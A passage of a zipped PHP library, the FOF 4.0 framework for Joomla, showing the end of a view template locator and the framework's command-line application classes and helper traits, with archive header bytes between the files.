$componentPaths['admin'] : $componentPaths['site']) . '/tmpl/' . $parts['view']; $paths[] = ($requestedAdmin ? $componentPaths['admin'] : $componentPaths['site']) . '/ViewTemplates/' . $parts['view']; // Add the other side of the application for "any:" URIs if ($parts['admin'] == -1) { $paths[] = ($requestedAdmin ? $componentPaths['site'] : $componentPaths['admin']) . '/tmpl/' . $parts['view']; $paths[] = ($requestedAdmin ? $componentPaths['site'] : $componentPaths['admin']) . '/ViewTemplates/' . $parts['view']; } // Add extra paths if (!empty($extraPaths)) { $paths = array_merge($paths, $extraPaths); } // Remove duplicate paths $paths = array_unique($paths); // Look for a template layout override if (!empty($layoutTemplate) && ($layoutTemplate != '_') && ($layoutTemplate != $parts['template'])) { $apath = array_shift($paths); array_unshift($paths, str_replace($parts['template'], $layoutTemplate, $apath)); } // Get the Joomla! version template suffixes $jVersionSuffixes = array_merge($this->container->platform->getTemplateSuffixes(), ['']); // Get the renderer name suffixes $rendererNameSuffixes = [ '.' . $this->container->renderer->getInformation()->name, '', ]; $filesystem = $this->container->filesystem; // Try to find a view template in the component specified (or its view override) foreach ($this->extensions as $extension) { foreach ($jVersionSuffixes as $JVersionSuffix) { foreach ($rendererNameSuffixes as $rendererNameSuffix) { $filenameToFind = $parts['template'] . $JVersionSuffix . $rendererNameSuffix . $extension; $fileName = $filesystem->pathFind($paths, $filenameToFind); if (!is_null($fileName)) { return $fileName; } } } } /** * If no view template was found for the component fall back to FOF's core Blade templates -- located in * <libdir>/ViewTemplates/<viewName>/<templateName> -- and their template overrides. */ $paths = []; $paths[] = $this->container->platform->getTemplateOverridePath('lib_fof40') . '/' . $parts['view']; $paths[] = realpath(__DIR__ . '/..') . '/ViewTemplates/' . $parts['view']; foreach ($jVersionSuffixes as $JVersionSuffix) { foreach ($rendererNameSuffixes as $rendererNameSuffix) { $filenameToFind = $parts['template'] . $JVersionSuffix . $rendererNameSuffix . '.blade.php'; $fileName = $filesystem->pathFind($paths, $filenameToFind); if (!is_null($fileName)) { return $fileName; } } } // Nothing found, throw an error throw new RuntimeException(Text::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $uri), 500); } /** * Get the list of view template extensions * * @return array * * @codeCoverageIgnore */ public function getExtensions() { return $this->extensions; } /** * Set the list of view template extensions * * @param array $extensions * * @return void * * @codeCoverageIgnore */ public function setExtensions(array $extensions) { $this->extensions = $extensions; } /** * Add an extension to the list of view template extensions * * @param string $extension * * @return void */ public function addExtension($extension) { if (empty($extension)) { return; } if (substr($extension, 0, 1) != '.') { $extension = '.' . $extension; } if (!in_array($extension, $this->extensions)) { $this->extensions[] = $extension; } } /** * Remove an extension from the list of view template extensions * * @param string $extension * * @return void */ public function removeExtension($extension) { if (empty($extension)) { return; } if (substr($extension, 0, 1) != '.') { $extension = '.' . $extension; } if (!in_array($extension, $this->extensions)) { return; } $pos = array_search($extension, $this->extensions); unset ($this->extensions[$pos]); } /** * Returns the default layout name * * @return string * * @codeCoverageIgnore */ public function getDefaultLayout() { return $this->defaultLayout; } /** * Sets the default layout name * * @param string $defaultLayout * * @return void */ public function setDefaultLayout($defaultLayout) { $this->defaultLayout = $defaultLayout; } /** * Returns the default sub-template name * * @return string * * @codeCoverageIgnore */ public function getDefaultTpl() { return $this->defaultTpl; } /** * Sets the default sub-template name * * @param string $defaultTpl * * @codeCoverageIgnore */ public function setDefaultTpl($defaultTpl) { $this->defaultTpl = $defaultTpl; } /** * Returns the "strict view" flag. When the flag is false we will look for the view template in both the * singularised and pluralised view. If it's true we will only look for the view template in the view * specified in getViewTemplateUris. * * @return boolean * * @codeCoverageIgnore */ public function isStrictView() { return $this->strictView; } /** * Sets the "strict view" flag. When the flag is false we will look for the view template in both the * singularised and pluralised view. If it's true we will only look for the view template in the view * specified in getViewTemplateUris. * * @param boolean $strictView * * @return void * * @codeCoverageIgnore */ public function setStrictView($strictView) { $this->strictView = $strictView; } /** * Returns the "strict template" flag. When the flag is false we will look for a view template with or without the * sub-template defined in getViewTemplateUris. If it's true we will only look for the sub-template specified. * * @return boolean * * @codeCoverageIgnore */ public function isStrictTpl() { return $this->strictTpl; } /** * Sets the "strict template" flag. When the flag is false we will look for a view template with or without the * sub-template defined in getViewTemplateUris. If it's true we will only look for the sub-template specified. * * @param boolean $strictTpl * * @return void * * @codeCoverageIgnore */ public function setStrictTpl($strictTpl) { $this->strictTpl = $strictTpl; } /** * Returns the "strict layout" flag. When the flag is false we will look for a view template with both the specified * and the default template name in getViewTemplateUris. When true we will only look for the specified view * template. * * @return boolean * * @codeCoverageIgnore */ public function isStrictLayout() { return $this->strictLayout; } /** * Sets the "strict layout" flag. When the flag is false we will look for a view template with both the specified * and the default template name in getViewTemplateUris. When true we will only look for the specified view * template. * * @param boolean $strictLayout * * @return void * * @codeCoverageIgnore */ public function setStrictLayout($strictLayout) { $this->strictLayout = $strictLayout; } /** * Returns the application side prefix which will be used by default in getViewTemplateUris. It can be one of: * site Public front-end * admin Administrator back-end * auto Automatically figure out if it should be site or admin * any First look in the current application side, then look on the other side of the application * * @return string * * @codeCoverageIgnore */ public function getSidePrefix() { return $this->sidePrefix; } /** * Sets the application side prefix which will be used by default in getViewTemplateUris. It can be one of: * site Public front-end * admin Administrator back-end * auto Automatically figure out if it should be site or admin * any First look in the current application side, then look on the other side of the application * * @param string $sidePrefix * * @return void */ public function setSidePrefix($sidePrefix) { $sidePrefix = strtolower($sidePrefix); $sidePrefix = trim($sidePrefix); if (!in_array($sidePrefix, array('site', 'admin', 'auto', 'any'))) { $sidePrefix = 'auto'; } $this->sidePrefix = $sidePrefix; } } PK���\P��fof40/Cli/wrong_php.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ /** @var string $minphp */ if (!isset($minphp)) { die; } ?> ================================================================================ WARNING! Incompatible PHP version <?php echo PHP_VERSION ?> (required: <?php echo $minphp ?> or later) ================================================================================ This script must be run using PHP version <?php echo $minphp ?> or later. Your server is currently using a much older version which would cause this script to crash. As a result we have aborted execution of the script. Please contact your host and ask them for the correct path to the PHP CLI binary for PHP <?php echo $minphp ?> or later, then edit your CRON job and replace your current path to PHP with the one your host gave you. For your information, the current PHP version information is as follows. PATH: <?php echo PHP_BINDIR ?> VERSION: <?php echo PHP_VERSION ?> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ IMPORTANT! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP version numbers are NOT decimals! Trailing zeros do matter. For example, PHP 5.3.28 is twenty four versions newer (greater than) than PHP 5.3.4. Please consult https://www.akeeba.com/how-do-version-numbers-work.html Further clarifications: 1. There is no possible way that you are receiving this message in error. We are using the PHP_VERSION constant to detect the PHP version you are currently using. This is what PHP itself reports as its own version. It simply cannot lie. 2. Even though your *site* may be running in a higher PHP version that the one reported above, your CRON scripts will most likely not be running under it. This has to do with the fact that your site DOES NOT run under the command line and there are different executable files (binaries) for the web and command line versions of PHP. 3. Please note that we cannot provide support about this error as the solution depends only on your server setup. The only people who know how your server is set up are your host's technicians. Therefore we can only advise you to contact your host and request them the correct path to the PHP CLI binary. Let us stress out that only your host knows and can give this information to you. 4. The latest published versions of PHP can be found at http://www.php.net/ Any older version is considered insecure and must not be used on a production site. If your server uses a much older version of PHP than those published in the URL above please notify your host that their servers are insecure and in need of an update. This script will now terminate. Goodbye. PK���\�t$�99fof40/Cli/Joomla3.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ // Do not put the JEXEC or die check on this file use FOF40\Cli\Traits\CGIModeAware; use FOF40\Cli\Traits\CustomOptionsAware; use FOF40\Cli\Traits\JoomlaConfigAware; use FOF40\Cli\Traits\MemStatsAware; use FOF40\Cli\Traits\MessageAware; use FOF40\Cli\Traits\TimeAgoAware; use FOF40\Utils\CliSessionHandler; use Joomla\CMS\Application\CliApplication; use Joomla\CMS\Input\Cli; // Load the legacy Joomla! include files (Joomla! 3 only) include_once JPATH_LIBRARIES . '/import.legacy.php'; // Load the CMS import file if it exists (newer Joomla! 3 versions and Joomla! 4) $cmsImportFilePath = JPATH_LIBRARIES . '/cms.php'; if (@file_exists($cmsImportFilePath)) { @include_once $cmsImportFilePath; } /** * Base class for a Joomla! command line application. Adapted from JCli / JApplicationCli */ abstract class FOFCliApplicationJoomla3 extends CliApplication { use CGIModeAware, CustomOptionsAware, JoomlaConfigAware, MemStatsAware, MessageAware, TimeAgoAware; private $allowedToClose = false; public static function getInstance($name = null) { // Load the Joomla global configuration in JFactory. This must happen BEFORE loading FOF. JFactory::getConfig(JPATH_CONFIGURATION . '/configuration.php'); // Load FOF if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php')) { throw new RuntimeException('Cannot load FOF', 500); } // Create a CLI-specific session JFactory::$session = JSession::getInstance('none', [ 'expire' => 84400, ], new CliSessionHandler()); $instance = parent::getInstance($name); JFactory::$application = $instance; return $instance; } public function __construct(Cli $input = null, \Joomla\Registry\Registry $config = null, \JEventDispatcher $dispatcher = null) { // Some servers only provide a CGI executable. While not ideal for running CLI applications we can make do. $this->detectAndWorkAroundCGIMode(); // Initialize custom options handling which is a bit more straightforward than Input\Cli. $this->initialiseCustomOptions(); parent::__construct($input, $config, $dispatcher); /** * Allow the application to close. * * This is required to allow CliApplication to execute under CGI mode. The checks performed in the parent * constructor will call close() if the application does not run pure CLI mode. However, some hosts only provide * the PHP CGI binary for executing CLI scripts. While wrong it will work in most cases. By default close() will * do nothing, thereby allowing the parent constructor to call it without a problem. Finally, we set this flag * to true to allow doExecute() to call close() and actually close the application properly. Yeehaw! */ $this->allowedToClose = true; } /** * Method to close the application. * * See the constructor for details on why it works the way it works. * * @param integer $code The exit code (optional; default is 0). * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function close($code = 0) { // See the constructor for details if (!$this->allowedToClose) { return; } exit($code); } /** * Gets the name of the current running application. * * @return string The name of the application. * * @since 4.0.0 */ public function getName() { return get_class($this); } /** * Get the menu object. * * @param string $name The application name for the menu * @param array $options An array of options to initialise the menu with * * @return \Joomla\CMS\Menu\AbstractMenu|null A AbstractMenu object or null if not set. * * @since 4.0.0 */ public function getMenu($name = null, $options = []) { return null; } } PK���\��``fof40/Cli/Joomla4.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ // Do not put the JEXEC or die check on this file use FOF40\Cli\Traits\CGIModeAware; use FOF40\Cli\Traits\CustomOptionsAware; use FOF40\Cli\Traits\JoomlaConfigAware; use FOF40\Cli\Traits\MemStatsAware; use FOF40\Cli\Traits\TimeAgoAware; use Joomla\CMS\Application\CliApplication; use Joomla\CMS\Application\ExtensionNamespaceMapper; use Joomla\CMS\Factory; use Joomla\Event\Dispatcher; use Joomla\Registry\Registry; use Joomla\Session\SessionInterface; /** * Load the legacy Joomla! include files * * Despite Joomla complaining about it with an E_DEPRECATED notice, if you use bootstrap.php instead of * import.legacy.php you get an HTML error page (yes, under CLI!) which is kinda daft. */ if (function_exists('error_reporting')) { $oldErrorReporting = @error_reporting(E_ERROR | E_NOTICE | E_DEPRECATED); } include_once JPATH_LIBRARIES . '/import.legacy.php'; if (function_exists('error_reporting')) { @error_reporting($oldErrorReporting); } // Load the Framework (J4 beta 1 and later) or CMS import file (J4 a12 and lower) $cmsImportFilePath = JPATH_BASE . '/includes/framework.php'; $cmsImportFilePathOld = JPATH_LIBRARIES . '/cms.php'; if (@file_exists($cmsImportFilePath)) { @include_once $cmsImportFilePath; // Boot the DI container $container = \Joomla\CMS\Factory::getContainer(); /* * Alias the session service keys to the CLI session service as that is the primary session backend for this application * * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects * is supported. This includes aliases for aliased class names, and the keys for aliased class names should be considered * deprecated to be removed when the class name alias is removed as well. */ $container->alias('session', 'session.cli') ->alias('JSession', 'session.cli') ->alias(\Joomla\CMS\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\SessionInterface::class, 'session.cli'); } elseif (@file_exists($cmsImportFilePathOld)) { @include_once $cmsImportFilePathOld; } /** * Base class for a Joomla! command line application. Adapted from JCli / JApplicationCli */ abstract class FOFCliApplicationJoomla4 extends CliApplication { use CGIModeAware, CustomOptionsAware, JoomlaConfigAware, MemStatsAware, TimeAgoAware, ExtensionNamespaceMapper; private $allowedToClose = false; public static function getInstance($name = null) { $instance = parent::getInstance($name); Factory::$application = $instance; /** * Load FOF. * * In Joomla 4 this must happen after we have set up the application in the factory because Factory::getLanguage * goes through the application object to retrieve the configuration. */ if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php')) { throw new RuntimeException('Cannot load FOF', 500); } return $instance; } public function __construct(\Joomla\Input\Input $input = null, Registry $config = null, \Joomla\CMS\Application\CLI\CliOutput $output = null, \Joomla\CMS\Application\CLI\CliInput $cliInput = null, \Joomla\Event\DispatcherInterface $dispatcher = null, \Joomla\DI\Container $container = null) { // Some servers only provide a CGI executable. While not ideal for running CLI applications we can make do. $this->detectAndWorkAroundCGIMode(); // We need to tell Joomla to register its default namespace conventions $this->createExtensionNamespaceMap(); // Initialize custom options handling which is a bit more straightforward than Input\Cli. $this->initialiseCustomOptions(); // Default configuration: Joomla Global Configuration if (empty($config)) { $config = new Registry($this->fetchConfigurationData()); } if (empty($dispatcher)) { $dispatcher = new Dispatcher(); } parent::__construct($input, $config, $output, $cliInput, $dispatcher, $container); /** * Allow the application to close. * * This is required to allow CliApplication to execute under CGI mode. The checks performed in the parent * constructor will call close() if the application does not run pure CLI mode. However, some hosts only provide * the PHP CGI binary for executing CLI scripts. While wrong it will work in most cases. By default close() will * do nothing, thereby allowing the parent constructor to call it without a problem. Finally, we set this flag * to true to allow doExecute() to call close() and actually close the application properly. Yeehaw! */ $this->allowedToClose = true; } /** * Method to close the application. * * See the constructor for details on why it works the way it works. * * @param integer $code The exit code (optional; default is 0). * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function close($code = 0) { // See the constructor for details if (!$this->allowedToClose) { return; } exit($code); } /** * Gets the name of the current running application. * * @return string The name of the application. * * @since 4.0.0 */ public function getName() { return get_class($this); } /** * Get the menu object. * * @param string $name The application name for the menu * @param array $options An array of options to initialise the menu with * * @return \Joomla\CMS\Menu\AbstractMenu|null A AbstractMenu object or null if not set. * * @since 4.0.0 */ public function getMenu($name = null, $options = []) { return null; } /** * Method to get the application session object. * * @return SessionInterface The session object * * @since 4.0.0 */ public function getSession() { return $this->getContainer()->get('session.cli'); } } PK���\�Ĺe !fof40/Cli/Traits/TimeAgoAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; /** * Allows the developer to show the relative time difference between two timestamps. * * @package FOF40\Cli\Traits */ trait TimeAgoAware { /** * Returns the relative time difference between two timestamps in a human readable format * * @param int $referenceTimestamp Timestamp of the reference date/time * @param int|null $currentTimestamp Timestamp of the current date/time. Null for time(). * @param string $timeUnit Time unit. One of s, m, h, d, or y. * @param bool $autoSuffix Add "ago" / "from now" suffix? * * @return string For example, "10 seconds ago" */ protected function timeAgo($referenceTimestamp = 0, $currentTimestamp = null, $timeUnit = '', $autoSuffix = true) { if (is_null($currentTimestamp)) { $currentTimestamp = time(); } // Raw time difference $raw = $currentTimestamp - $referenceTimestamp; $clean = abs($raw); $calcNum = [ ['s', 60], ['m', 60 * 60], ['h', 60 * 60 * 60], ['d', 60 * 60 * 60 * 24], ['y', 60 * 60 * 60 * 24 * 365], ]; $calc = [ 's' => [1, 'second'], 'm' => [60, 'minute'], 'h' => [60 * 60, 'hour'], 'd' => [60 * 60 * 24, 'day'], 'y' => [60 * 60 * 24 * 365, 'year'], ]; $effectiveTimeUnit = $timeUnit; if ($timeUnit == '') { $effectiveTimeUnit = 's'; for ($i = 0; $i < count($calcNum); $i++) { if ($clean <= $calcNum[$i][1]) { $effectiveTimeUnit = $calcNum[$i][0]; $i = count($calcNum); } } } $timeDifference = floor($clean / $calc[$effectiveTimeUnit][0]); $textSuffix = ''; if ($autoSuffix == true && ($currentTimestamp == time())) { if ($raw < 0) { $textSuffix = ' from now'; } else { $textSuffix = ' ago'; } } if ($referenceTimestamp != 0) { if ($timeDifference == 1) { return $timeDifference . ' ' . $calc[$effectiveTimeUnit][1] . ' ' . $textSuffix; } return $timeDifference . ' ' . $calc[$effectiveTimeUnit][1] . 's ' . $textSuffix; } return '(no reference timestamp was provided).'; } }PK���\�d���!fof40/Cli/Traits/CGIModeAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; /** * CGI Mode detection and workaround * * Some hosts only give access to the PHP CGI binary, even for running CLI scripts. While problematic, it mostly works. * This trait detects PHP-CGI and manipulates $_GET in such a way that we populate the $argv and $argc global variables * in the same way that PHP-CLI would set them. This allows the CLI input object to work. Moreover, we unset the PHP * execution time limit, if possible, to prevent accidental timeouts. * * @package FOF40\Cli\Traits */ trait CGIModeAware { /** * Detect if we are running under CGI mode. In this case it populates the global $argv and $argc parameters off the * CGI input ($_GET superglobal). */ private function detectAndWorkAroundCGIMode() { // This code only executes when running under CGI. So let's detect it first. $cgiMode = (!defined('STDOUT') || !defined('STDIN') || !isset($_SERVER['argv'])); if (!$cgiMode) { return; } // CGI mode has a time limit. Unset it to prevent timeouts. if (function_exists('set_time_limit')) { set_time_limit(0); } // Convert $_GET into the appropriate $argv representation. This allows Input\Cli to work under PHP-CGI. $query = ""; if (!empty($_GET)) { foreach ($_GET as $k => $v) { $query .= " $k"; if ($v != "") { $query .= "=$v"; } } } $query = ltrim($query); global $argv, $argc; $argv = explode(' ', $query); $argc = count($argv); $_SERVER['argv'] = $argv; } }PK���\��,v��!fof40/Cli/Traits/MessageAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; /** * Sometimes other extensions will try to enqueue messages to the application. Methods for those tasks only exists in * web applications, so we have to replicate their behavior in CLI environment or fatal errors will occur * * @package FOF40\Cli\Traits */ trait MessageAware { /** @var array Queue holding all messages */ protected $messageQueue = []; /** * @param $msg * @param $type * * @return void */ public function enqueueMessage($msg, $type) { // Don't add empty messages. if (trim($msg) === '') { return; } $message = ['message' => $msg, 'type' => strtolower($type)]; if (!in_array($message, $this->messageQueue)) { // Enqueue the message. $this->messageQueue[] = $message; } } /** * Loosely based on Joomla getMessageQueue * * @param bool $clear * * @return array */ public function getMessageQueue($clear = false) { $messageQueue = $this->messageQueue; if ($clear) { $this->messageQueue = []; } return $messageQueue; } } PK���\�x)�~~&fof40/Cli/Traits/JoomlaConfigAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; /** * Allows the CLI application to use the Joomla Global Configuration parameters as its own configuration. * * @package FOF40\Cli\Traits */ trait JoomlaConfigAware { /** * Method to load the application configuration, returning it as an object or array * * This can be overridden in subclasses if you don't want to fetch config from a PHP class file. * * @param string|null $file The filepath to the file containing the configuration class. Default: Joomla's * configuration.php * @param string $className The name of the PHP class holding the configuration. Default: JConfig * * @return mixed Either an array or object to be loaded into the configuration object. */ protected function fetchConfigurationData($file = null, $className = 'JConfig') { // Set the configuration file name. if (empty($file)) { $file = JPATH_BASE . '/configuration.php'; } // Import the configuration file. if (!is_file($file)) { return []; } include_once $file; // Instantiate the configuration object. if (!class_exists('JConfig')) { return []; } return new $className(); } }PK���\9�վ��"fof40/Cli/Traits/MemStatsAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; /** * Memory statistics * * This is an optional trait which allows the developer to print memory usage statistics and format byte sizes into * human-readable strings. * * @package FOF40\Cli\Traits */ trait MemStatsAware { /** * Formats a number of bytes in human readable format * * @param int $size The size in bytes to format, e.g. 8254862 * * @return string The human-readable representation of the byte size, e.g. "7.87 Mb" */ protected function formatByteSize($size) { $unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB']; return @round($size / pow(1024, ($i = floor(log($size, 1024)))), 2) . ' ' . $unit[$i]; } /** * Returns the current memory usage, formatted * * @return string */ protected function memUsage() { if (function_exists('memory_get_usage')) { $size = memory_get_usage(); return $this->formatByteSize($size); } else { return "(unknown)"; } } /** * Returns the peak memory usage, formatted * * @return string */ protected function peakMemUsage() { if (function_exists('memory_get_peak_usage')) { $size = memory_get_peak_usage(); return $this->formatByteSize($size); } else { return "(unknown)"; } } }PK���\u�^��'fof40/Cli/Traits/CustomOptionsAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; use JFilterInput; use Joomla\CMS\Filter\InputFilter; /** * Implements a simpler, more straightforward options parser than the Joomla CLI input object. It supports short options * when the Joomla CLI input object doesn't. Eventually this will go away and we can use something like Symfony Console * instead. * * @package FOF40\Cli\Traits */ trait CustomOptionsAware { /** * POSIX-style CLI options. Access them with through the getOption method. * * @var array */ protected static $cliOptions = []; /** * Filter object to use for custom options parsing. * * @var JFilterInput|InputFilter */ protected $filter = null; /** * Initializes the custom CLI options parsing * * @return void */ protected function initialiseCustomOptions() { // Create a new JFilterInput if (class_exists('JFilterInput')) { $this->filter = JFilterInput::getInstance(); } else { $this->filter = InputFilter::getInstance(); } // Parse the POSIX options $this->parseOptions(); } /** * Parses POSIX command line options and sets the self::$cliOptions associative array. Each array item contains * a single dimensional array of values. Arguments without a dash are silently ignored. * * This works much better than JInputCli since it allows you to use all valid POSIX ways of defining CLI parameters. * * @return void */ protected function parseOptions() { global $argc, $argv; // Workaround for PHP-CGI if (!isset($argc) && !isset($argv)) { $query = ""; if (!empty($_GET)) { foreach ($_GET as $k => $v) { $query .= " $k"; if ($v != "") { $query .= "=$v"; } } } $query = ltrim($query); $argv = explode(' ', $query); $argc = count($argv); } $currentName = ""; $options = []; for ($i = 1; $i < $argc; $i++) { $argument = $argv[$i]; $value = $argument; if (strpos($argument, "-") === 0) { $argument = ltrim($argument, '-'); $name = $argument; $value = null; if (strstr($argument, '=')) { list($name, $value) = explode('=', $argument, 2); } $currentName = $name; if (!isset($options[$currentName]) || ($options[$currentName] == null)) { $options[$currentName] = []; } } if ((!is_null($value)) && (!is_null($currentName))) { $key = null; if (strstr($value, '=')) { $parts = explode('=', $value, 2); $key = $parts[0]; $value = $parts[1]; } $values = $options[$currentName]; if (is_null($values)) { $values = []; } if (is_null($key)) { array_push($values, $value); } else { $values[$key] = $value; } $options[$currentName] = $values; } } self::$cliOptions = $options; } /** * Returns the value of a command line option. This does NOT use JInputCLI. You MUST run parseOptions before. * * @param string $key The full name of the option, e.g. "foobar" * @param mixed $default The default value to return * @param string $type Joomla! filter type, e.g. cmd, int, bool and so on. * * @return mixed The value of the option */ protected function getOption($key, $default = null, $type = 'raw') { // If the key doesn't exist set it to the default value if (!array_key_exists($key, self::$cliOptions)) { self::$cliOptions[$key] = is_array($default) ? $default : [$default]; } $type = strtolower($type); if ($type == 'array') { return self::$cliOptions[$key]; } $value = null; if (!empty(self::$cliOptions[$key])) { $value = self::$cliOptions[$key][0]; } return $this->filterVariable($value, $type); } /** * Filter a variable using JInputFilter * * @param mixed $var The variable to filter * @param string $type The filter type, default 'cmd' * * @return mixed The filtered value */ protected function filterVariable($var, $type = 'cmd') { return $this->filter->clean($var, $type); } }PK���\V�uT�$�$fof40/Cli/Application.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ // Do not put the JEXEC or die check on this file /** * FOF-powered Joomla! CLI application implementation. * * Get all the power of Joomla in CLI without all the awkward decisions which make CLI scripts fail on many common, * commercial hosting environments. We've been doing that in our software before Joomla got CLI support. We know of all * the pitfalls and this little gem here will work around most of them (or at least fail gracefully). * * Your CLI script must begin with the following boilerplate code: * * // Boilerplate -- START * define('_JEXEC', 1); * * foreach ([__DIR__, getcwd()] as $curdir) * { * if (file_exists($curdir . '/defines.php')) * { * define('JPATH_BASE', realpath($curdir . '/..')); * require_once $curdir . '/defines.php'; * * break; * } * * if (file_exists($curdir . '/../includes/defines.php')) * { * define('JPATH_BASE', realpath($curdir . '/..')); * require_once $curdir . '/../includes/defines.php'; * * break; * } * } * * defined('JPATH_LIBRARIES') || die ('This script must be placed in or run from the cli folder of your site.'); * * require_once JPATH_LIBRARIES . '/fof40/Cli/Application.php'; * // Boilerplate -- END * * Create a class which extends FOFCliApplication and implements doExecute, e.g. * * // Class definition -- START * class YourClassName extends FOFCliApplication * { * protected function doExecute() * { * // Do something useful * } * } * // Class definition -- END * * Finally, execute your script with: * * // Execute script -- START * FOFCliApplication::getInstance('YourClassName')->execute(); * // Execute script -- END * * You can optionally define $minphp before the boilerplate code to enforce a different minimum PHP version. */ // Abort immediately when this file is executed from a web SAPI if (array_key_exists('REQUEST_METHOD', $_SERVER)) { die('This is a command line script. You are not allowed to access it over the web.'); } // Work around some badly configured servers which print out notices if (function_exists('error_reporting')) { $oldLevel = error_reporting(E_ERROR | E_NOTICE | E_DEPRECATED); } // Minimum PHP version check if (!isset($minphp)) { $minphp = '5.6.0'; } if (version_compare(PHP_VERSION, $minphp, 'lt')) { require_once __DIR__ . '/wrong_php.php'; die; } // Required by scripts written for old Joomla! versions. define('DS', DIRECTORY_SEPARATOR); /** * Timezone fix * * This piece of code was originally put here because some PHP 5.3 servers forgot to declare a default timezone. * Unfortunately it's still required because some hosts STILL forget to provide a timezone in their php.ini files or, * worse, use invalid timezone names. */ if (function_exists('date_default_timezone_get') && function_exists('date_default_timezone_set')) { $serverTimezone = @date_default_timezone_get(); // Do I have no timezone set? if (empty($serverTimezone) || !is_string($serverTimezone)) { $serverTimezone = 'UTC'; } // Do I have an invalid timezone? try { $testTimeZone = new DateTimeZone($serverTimezone); } catch (\Exception $e) { $serverTimezone = 'UTC'; } // Set the default timezone to a correct thing @date_default_timezone_set($serverTimezone); } // This is not necessary if you have used the boilerplate code. if (!isset($curdir) && !defined('JPATH_ROOT')) { foreach ([__DIR__ . '/../../../cli', getcwd()] as $curdir) { if (file_exists($curdir . '/defines.php')) { define('JPATH_BASE', realpath($curdir . '/..')); require_once $curdir . '/defines.php'; break; } if (file_exists($curdir . '/../includes/defines.php')) { define('JPATH_BASE', realpath($curdir . '/..')); require_once $curdir . '/../includes/defines.php'; break; } } defined('JPATH_LIBRARIES') || die ('This script must be placed in or run from the cli folder of your site.'); } // Restore the error reporting before importing Joomla core code if (function_exists('error_reporting')) { error_reporting($oldLevel); } // Awkward Joomla version detection before we can actually load Joomla! itself $joomlaMajorVersion = 3; $joomlaMinorVersion = 0; $jVersionFile = JPATH_LIBRARIES . '/src/Version.php'; if ($versionFileContents = @file_get_contents($jVersionFile)) { preg_match("/MAJOR_VERSION\s*=\s*(\d*)\s*;/", $versionFileContents, $versionMatches); $joomlaMajorVersion = (int) $versionMatches[1]; preg_match("/MINOR_VERSION\s*=\s*(\d*)\s*;/", $versionFileContents, $versionMatches); $joomlaMinorVersion = (int) $versionMatches[1]; } // Load the Trait files include_once __DIR__ . '/Traits/CGIModeAware.php'; include_once __DIR__ . '/Traits/CustomOptionsAware.php'; include_once __DIR__ . '/Traits/JoomlaConfigAware.php'; include_once __DIR__ . '/Traits/MemStatsAware.php'; include_once __DIR__ . '/Traits/MessageAware.php'; include_once __DIR__ . '/Traits/TimeAgoAware.php'; // The actual implementation of the CliApplication depends on the Joomla version we're running under switch ($joomlaMajorVersion) { case 3: default: require_once __DIR__ . '/Joomla3.php'; abstract class FOFApplicationCLI extends FOFCliApplicationJoomla3 { } ; break; case 4: require_once __DIR__ . '/Joomla4.php'; abstract class FOFApplicationCLI extends FOFCliApplicationJoomla4 { } ; break; } /** * A default exception handler. Catches all unhandled exceptions, displays debug information about them and sets the * error level to 254. * * @param Throwable $ex The Exception / Error being handled */ function FOFCliExceptionHandler($ex) { echo "\n\n"; echo "********** ERROR! **********\n\n"; echo $ex->getMessage(); echo "\n\nTechnical information:\n\n"; echo "Code: " . $ex->getCode() . "\n"; echo "File: " . $ex->getFile() . "\n"; echo "Line: " . $ex->getLine() . "\n"; echo "\nStack Trace:\n\n" . $ex->getTraceAsString(); echo "\n\n"; exit(254); } /** * Timeout handler * * This function is registered as a shutdown script. If a catchable timeout occurs it will detect it and print a helpful * error message instead of just dying cold. The error level is set to 253 in this case. * * @return void */ function FOFCliTimeoutHandler() { $connection_status = connection_status(); if ($connection_status == 0) { // Normal script termination, do not report an error. return; } echo "\n\n"; echo "********** ERROR! **********\n\n"; if ($connection_status == 1) { echo <<< END The process was aborted on user's request. This 